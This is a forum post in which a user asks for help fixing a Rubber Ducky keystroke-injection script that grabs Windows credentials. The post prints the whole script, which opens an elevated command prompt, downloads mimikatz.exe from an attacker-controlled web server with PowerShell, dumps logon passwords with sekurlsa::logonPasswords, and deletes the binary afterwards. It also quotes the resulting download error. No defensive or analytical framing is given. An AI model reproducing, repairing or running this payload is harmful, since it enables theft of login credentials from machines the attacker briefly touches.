Jump to content

Invoke-Mimikatz credential grabber issue on Windows 7 and 10


Recommended Posts

I'm watching the command prompt as it runs and getting an error. Being a novice, I'm not totally sure what to make of it and was wondering if you guys could help me out. The error text is below:

Exception calling "DownloadFile" with "2" argument(s): "The remote server returned an error: (404) Not Found."

At line: 1 char: 1

(new-object System.Net.WebClient).DownloadFile('http://<my apache2 webserver ip>...

CategoryInfo : NotSpecified: (:) [], MethodInvocationException

FullyQualifiedErrorId : WebException

 

The script that I'm running is the one found here (the one on the Hak5 website isn't able to even get to opening the cmd prompt for me but this one does): https://medium.com/@nickkwiecien/dump-passwords-in-15-seconds-with-a-rubber-ducky-82d5e7631d6f

DELAY 3000
CONTROL ESCAPE
DELAY 1000
STRING cmd
DELAY 1000
CTRL-SHIFT ENTER
DELAY 1000
ALT y
DELAY 300
ENTER
STRING powershell (new-object System.Net.WebClient).DownloadFile('http://<replace me with webserver ip/host>/mimikatz.exe','%TEMP%\mimikatz.exe')
DELAY 300
ENTER
DELAY 3000
STRING %TEMP%\mimikatz.exe
DELAY 300
ENTER
DELAY 3000
STRING privilege::debug
DELAY 300
ENTER
DELAY 1000
STRING sekurlsa::logonPasswords full
DELAY 300
ENTER
DELAY 1000
STRING exit
DELAY 300
ENTER
DELAY 100
STRING del %TEMP%\mimikatz.exe
DELAY 300
ENTER

I've confirmed my apache server is up, and it is showing the im.ps1 and rx.php files. Yall have any ideas?

 

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...